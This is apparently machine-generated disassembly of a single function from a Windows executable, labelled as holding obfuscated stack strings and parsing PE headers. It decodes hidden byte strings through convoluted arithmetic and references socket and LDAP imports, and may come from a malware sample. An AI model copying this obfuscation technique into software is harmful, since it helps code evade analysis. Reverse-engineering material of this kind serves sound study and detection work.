Function at 0x140071eb0
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1140]
mov eax, 0x1240
call fcn.140196d50
sub rsp, rax
mov rax, qword [0x1401d8800]
xor rax, rsp
mov qword [rbp + 0x1130], rax
cmp byte [0x140227d79], 0
jne 0x140071f01
call fcn.14006f190
jmp 0x1400a29e2
movss xmm2, dword [0x1401bf980]
movss xmm1, dword [0x1401bf970]
lea rcx, [rsp + 0x7c]
call fcn.140006440
mov edx, 2
lea rcx, [rsp + 0x7c]
call fcn.140014a10
mov byte [rbp + 0xaa0], 0x60
mov byte [rbp + 0xaa1], 0x7e
mov byte [rbp + 0xaa2], Ordinal_79
mov byte [rbp + 0xaa3], Ordinal_79
mov byte [rbp + 0xaa4], 0x40
mov byte [rbp + 0xaa5], 0xdd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xaa6], xmm0
mov qword [rbp + 0xab6], rax
mov dword [rbp + 0xabe], eax
mov byte [rbp + 0xac2], al
movabs rdi, 0x9b9a3efd3be21adf
movabs rsi, 0x73a7a0edb0f0fb01
movabs r15, 0x99b202ffde47b823
movabs r14, 0x40439aedf4618abb
movabs r13, 0xcdf94ee37d21a75
lea r12, [rax - 1]
movzx edx, byte [rsp + 0x50]
nop
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor r10d, r10d
cmp r10, 0x23
jae 0x140072cd4
movzx ebx, byte [rbp + r10 + 0xaa0]
mov r11d, ebx
nop dword [rax]
cmp r8, r10
ja 0x140072ccb
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007200b
lea rcx, [r10 + r15]
mov rax, rcx
and rax, r11
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r11
add dl, 0xb
jmp 0x140072030
je 0x140072c4c
lea rax, [r9 + 3]
cmp r8, rax
je 0x140072c19
lea rax, [r9 + 7]
cmp r8, rax
je 0x140072bf1
nop dword [rax + rax]
cmp r9, r10
ja 0x140072cc2
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x14007205b
lea rdx, [r10 + rdi]
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x19
add dl, cl
jmp 0x1400720a0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140072ba4
lea rax, [r9 + 3]
cmp r8, rax
je 0x140072b7c
lea rax, [r9 + 5]
cmp r8, rax
je 0x140072b46
lea rax, [rcx + 1]
cmp r8, rax
je 0x140072ab4
lea rax, [r9 + 4]
cmp r8, rax
je 0x140072a7e
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, r10
jbe 0x1400726c9
nop dword [rax]
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400726a8
lea rcx, [r9 + 0x2a]
cmp r8, rcx
je 0x14007267e
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140072657
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140072636
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140072600
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400725cd
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400725a9
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140072585
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007254f
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400720b0
mov r8, rcx
lea r9, [rcx + 0x42]
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x140072ca1
lea rcx, [r9 + 0x7a]
cmp r8, rcx
jb 0x140072c80
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400722a0
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140072284
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140072268
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400724f7
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400724a2
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14007245c
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140072430
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400720b0
mov r8, rcx
lea r9, [rcx + 0x20]
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x1400723fd
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x1400723dc
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x1400723bb
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x14007238b
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x140072358
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x140072337
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x14007230d
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x1400722e0
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x1400722bc
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x1400720b0
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x5a]
jmp 0x1400720b0
lea rdx, [r10 + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 7
add dl, cl
jmp 0x1400720a0
lea rdx, [r10 + r14]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x1d
add dl, cl
jmp 0x140072030
lea rdx, [r10 + r13]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x33
add dl, cl
jmp 0x140071fe0
movabs rdx, 0xdcd1f7e9df10d6f8
add rdx, r10
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, bl
jmp 0x140072bc0
movabs rdx, 0xa96df1ea228166b2
add rdx, r10
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add dl, cl
add dl, bl
inc r9
dec r10
inc r10
jmp 0x140071fc3
movabs rdx, 0x7609ebea65f1f66c
add rdx, r10
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
add cl, cl
add dl, cl
add dl, bl
dec r10
inc r10
jmp 0x140071fc3
movabs rcx, 0x42a5e5eaa9628626
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0xa
jmp 0x140072a1c
movabs rcx, 0xf41dfeaecd315e0
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x20
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140071fc3
movabs rcx, 0xdbddd9eb3043a59a
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x36
movzx eax, dl
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140071fc3
movabs rcx, 0xa879d3eb73b43554
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x4c
jmp 0x140072ad1
movabs rcx, 0x7515cdebb724c50e
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x62
jmp 0x140072b00
movabs rcx, 0x41b1c7ebfa9554c8
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x78
movzx eax, byte [rbp + r10 + 0xaa0]
add rax, r9
add r10, rax
inc r10
jmp 0x140071fc3
movabs rcx, 0x4137b8eca32ebc19
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x51
mov byte [rbp + r10 + 0xaa0], dl
inc r10
jmp 0x140071fc3
movabs rcx, 0xdd3b2ece69f4bd3
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x3b
cmp r9, 0x61
jb 0x14007244c
movabs rcx, 0x3ced31f290935df2
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea edx, [rcx*2 - 0x3c]
jmp 0x140072bc0
movabs rdx, 0xda6faced2a0fdb8d
add rdx, r10
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add dl, 0x25
add dl, cl
cmp r8, 9
jae 0x1400729f5
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x14007291d
movabs rdx, 0x3b04f5f532f8fb36
add rdx, r10
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub dl, 0x7a
add dl, cl
jmp 0x140072478
movabs rcx, 0xa70ba6ed6d806b47
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0xf
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x140072a58
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400727f6
movabs rcx, 0x9f6ab6f7f716e057
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x61
jmp 0x1400724c0
movabs rdx, 0xa59d79ef674ca13a
add rdx, r10
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, bl
movzx eax, byte [rbp + r10 + 0xaa0]
add rax, r9
add r10, rax
inc r10
jmp 0x140071fc3
movabs rdx, 0x723973efaabd30f4
add rdx, r10
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, bl
jmp 0x140072b00
movabs rdx, 0x3ed56defee2dc0ae
add rdx, r10
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add dl, cl
add dl, bl
jmp 0x140072ad1
movabs rdx, 0xb7167f0319e5068
add rdx, r10
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add dl, cl
add dl, bl
movzx eax, dl
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140071fc3
movabs rdx, 0xd80d61f0750ee022
add rdx, r10
movzx eax, dl
and al, bl
mov ecx, 9
sub cl, al
add cl, cl
add dl, cl
add dl, bl
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140071fc3
movabs rcx, 0xa4a95bf0b87f6fdc
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 4
jmp 0x140072a1c
movabs rcx, 0x714555f0fbefff96
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x1a
dec r10
inc r10
jmp 0x140071fc3
movabs rcx, 0x3de14ff13f608f50
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x30
inc r9
dec r10
inc r10
jmp 0x140071fc3
movabs rcx, 0xa7d49f182d11f0a
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x46
jmp 0x140072bc0
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400726ee
lea rcx, [r10 + r15]
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0xb
jmp 0x140072513
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007272a
movabs rcx, 0x37347dfa77c435be
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x32
movzx eax, byte [rbp + r10 + 0xaa0]
add rax, r9
add r10, rax
inc r10
jmp 0x140071fc3
inc rax
cmp r8, rax
jne 0x140072753
movabs rcx, 0x9dfc89f9f0e3164a
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 6
jmp 0x140072ad1
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140072792
movabs rdx, 0x4c495f96a01f6d6
add rdx, r10
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add dl, cl
add dl, bl
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140071fc3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400727c5
movabs rdx, 0x6b8ca1f8e320d762
add rdx, r10
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, bl
dec r10
inc r10
jmp 0x140071fc3
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140072513
movabs rdx, 0xd254adf85c3fb7ee
add rdx, r10
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
add cl, cl
add dl, cl
add dl, bl
jmp 0x140072bc0
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140072820
movabs rcx, 0xd2cebcf7b3a6509d
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x4b
jmp 0x140072bc0
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140072850
movabs rcx, 0x3996c8f72cc53129
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x1f
dec r10
inc r10
jmp 0x140071fc3
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007287a
movabs rcx, 0x6cfacef6e954a16f
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 9
jmp 0x140072a1c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400728b6
movabs rcx, 0xa05ed4f6a5e411b5
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0xd
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140071fc3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400728ef
movabs rcx, 0xd3c2daf6627381fb
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x23
movzx eax, dl
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140071fc3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400724c0
movabs rcx, 0x726e0f61f02f241
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x39
jmp 0x140072ad1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140072959
movabs rcx, 0x6e68fbf4ef886b7c
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x64
movzx eax, byte [rbp + r10 + 0xaa0]
add rax, r9
add r10, rax
inc r10
jmp 0x140071fc3
inc rax
cmp r8, rax
jne 0x140072982
movabs rcx, 0xd53107f468a74c08
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x38
jmp 0x140072ad1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400729be
movabs rcx, 0x3bf913f3e1c62c94
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0xc
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140071fc3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140072478
movabs rdx, 0xa2c11ff35ae50d20
add rdx, r10
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, bl
dec r10
inc r10
jmp 0x140071fc3
movabs rdx, 0x705137f24d22ce38
add rdx, r10
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, byte [rbp + r10 + 0xaa0]
add cl, bl
add dl, cl
movabs rcx, 0xa033af22b6a865b
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x7d
add cl, dl
add cl, bl
mov byte [rbp + r10 + 0xaa0], cl
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140071fc3
movabs rcx, 0xa3b53df209b23e7e
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0xaa0]
lea edx, [rbx + rcx]
sub dl, 0x72
jmp 0x140072ad1
movabs rcx, 0x6a1e74fadced0d55
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x53
movzx eax, byte [rbp + r10 + 0xaa0]
add rax, r9
add r10, rax
inc r10
jmp 0x140071fc3
movabs rcx, 0x35668fb63ce2cc9
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x7f
movabs rcx, 0x3d6740f1e7f9f6a1
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x67
add cl, bl
movzx eax, cl
mov byte [rbp + r10 + 0xaa0], al
inc r9
add rax, r9
sub r10, rax
movabs rcx, 0xd71943f1c641aec4
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x5c
add cl, bl
mov byte [rbp + r10 + 0xaa0], cl
inc r8
mov rax, r12
sub rax, r8
add r10, rax
movzx eax, byte [rbp + r10 + 0xaa0]
add rax, r9
add r10, rax
inc r10
jmp 0x140071fc3
movabs rcx, 0x9c8e5cfbeaaf4c3d
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x55
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140071fc3
movabs rcx, 0x35c650fc71906bb1
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x29
dec r10
inc r10
jmp 0x140071fc3
movabs rax, 0xcefe44fcf8718b25
add rax, r10
and r11b, al
add r11b, r11b
sub al, r11b
lea edx, [rbx + rax]
sub dl, 3
movabs rcx, 0xd69f34f26edb1615
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x6d
add cl, bl
mov byte [rbp + r10 + 0xaa0], cl
inc r9
dec r10
inc r10
jmp 0x140071fc3
movabs rcx, 0x16e2cfe0633ca0d
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x5b
dec r10
inc r10
jmp 0x140071fc3
movabs rcx, 0x67421afed085793b
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x63
movzx eax, dl
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140071fc3
movabs rcx, 0xcd1608ff9ad72869
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x21
movzx eax, byte [rbp + r10 + 0xaa0]
add rax, r9
add r10, rax
inc r10
jmp 0x140071fc3
movabs rcx, 0xd97b8eee7b42aa2f
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x49
jmp 0x140071fc0
movabs rcx, 0xa61788eebeb339e9
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x5f
jmp 0x140071fb0
lea rcx, [rbp + 0x16fc224]
jmp 0x140072cdb
lea rcx, [rbp + 0xb77a47]
jmp 0x140072cdb
lea rcx, [rbp + 0xaa0]
xor edx, edx
mov r8d, 0x100
call fcn.140011db0
mov byte [rbp + 0xac8], __WSAFDIsSet
mov byte [rbp + 0xac9], 0x78
mov byte [rbp + 0xaca], 0x78
mov byte [rbp + 0xacb], 0x88
mov byte [rbp + 0xacc], reloc.WS2_32.dll_sendto
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xacd], xmm0
mov qword [rbp + 0xadd], rax
mov dword [rbp + 0xae5], eax
mov word [rbp + 0xae9], ax
movabs rsi, 0x57439558ee140654
movabs r13, 0xf7f7071c9d9f6e04
movabs r14, 0xa320dc899590bc2c
movabs r15, 0xb332ce505a51e024
movzx r11d, byte [rsp + 0x50]
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140073c2f
movzx r10d, byte [rbp + rdi + 0xac8]
mov rbx, r10
nop dword [rax + rax]
cmp r8, rdi
ja 0x140073c26
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140072dbc
lea rcx, [rdi + r13]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x1c
jmp 0x140072e03
je 0x140073b9b
lea rax, [r9 + 2]
cmp r8, rax
je 0x140073af7
lea rax, [r9 + 3]
cmp r8, rax
je 0x140073abf
lea rax, [r9 + 4]
cmp r8, rax
je 0x140073a70
lea rax, [r9 + 5]
cmp r8, rax
je 0x140073a3e
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400739e9
cmp r9, rdi
ja 0x140073c1d
lea rax, [r9 + 2]
cmp r8, rax
jae 0x140072e31
lea rdx, [rdi + rsi]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4c
add r11b, dl
jmp 0x140072e80
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400739c3
inc rax
cmp r8, rax
je 0x140073994
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007396f
lea rax, [r9 + 5]
cmp r8, rax
je 0x140073936
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007390d
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400738d7
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140073513
nop dword [rax]
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400734ee
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400734c0
lea rax, [r9 + 4]
cmp r8, rax
je 0x140073495
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007346f
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140073446
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140073411
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400733e9
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400733c0
lea rcx, [r9 + 0x64]
cmp r8, rcx
je 0x140073386
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140072e90
mov r8, rcx
lea r9, [rcx + 0x3e8]
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x140073bf8
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x140073bcf
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x140073083
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x140073063
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x140073044
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x14007331f
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x1400732b8
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x140073264
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x140073234
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x140072e90
lea r8, [r9 + 3]
lea r9, [r8 + 6]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400731fa
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400731d1
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400731ad
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140073178
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140073153
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14007312d
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400730fe
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400730d1
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400730ac
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140072e90
lea r8, [r9 + 8]
lea r9, [r8 + 0x10]
jmp 0x140072e90
lea rdx, [rdi + r14]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x34
add r11b, dl
jmp 0x140072e80
lea rdx, [rdi + r15]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140072e03
movabs rdx, 0xc344c0171f13041c
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140072d85
movabs rdx, 0xba1caac770a032a0
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x60
jmp 0x140073a09
movabs rcx, 0xca2e9c8e35615698
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
inc r9
dec rdi
inc rdi
jmp 0x140072d72
movabs rdx, 0xda408e54fa227a90
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x140072d72
movabs rdx, 0xea52801bbee39e88
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140073a90
movabs rcx, 0xfa6471e283a4c280
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
jmp 0x140073adf
movabs rcx, 0xa7663a94865e678
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x48
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140072d72
movabs rcx, 0x1a8855700d270a70
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
jmp 0x140073b1d
movabs rdx, 0x2a9a4736d1e82e68
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073b51
movabs rdx, 0x3aac38fd96a95260
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xac8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140072d72
movabs rcx, 0x62d9156e828c2c4c
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x14
mov byte [rbp + rdi + 0xac8], r11b
inc rdi
jmp 0x140072d72
movabs rdx, 0x72eb0735474d5044
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r9, 0x3e8
jb 0x140073254
movabs rcx, 0xcc6cd566cd85d598
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0x50]
jmp 0x140073a0c
movabs rdx, 0x82fcf8fc0c0e743c
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r8, 0x42
jae 0x140073879
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x14007375e
movabs rdx, 0x6d20472a7d113d48
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073288
movabs rdx, 0x930eeac2d0cf9834
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6c
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x1400738a6
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x140073652
movabs rdx, 0x15dcb1d18efd36f4
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400732dc
movabs rdx, 0xb958015947825f8
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xac8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140072d72
movabs rdx, 0x1ba771dc593949f0
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140073b51
movabs rdx, 0x2bb963a31dfa6de8
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x58
add r11b, dl
jmp 0x140073b1d
movabs rcx, 0x3bcb5569e2bb91e0
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
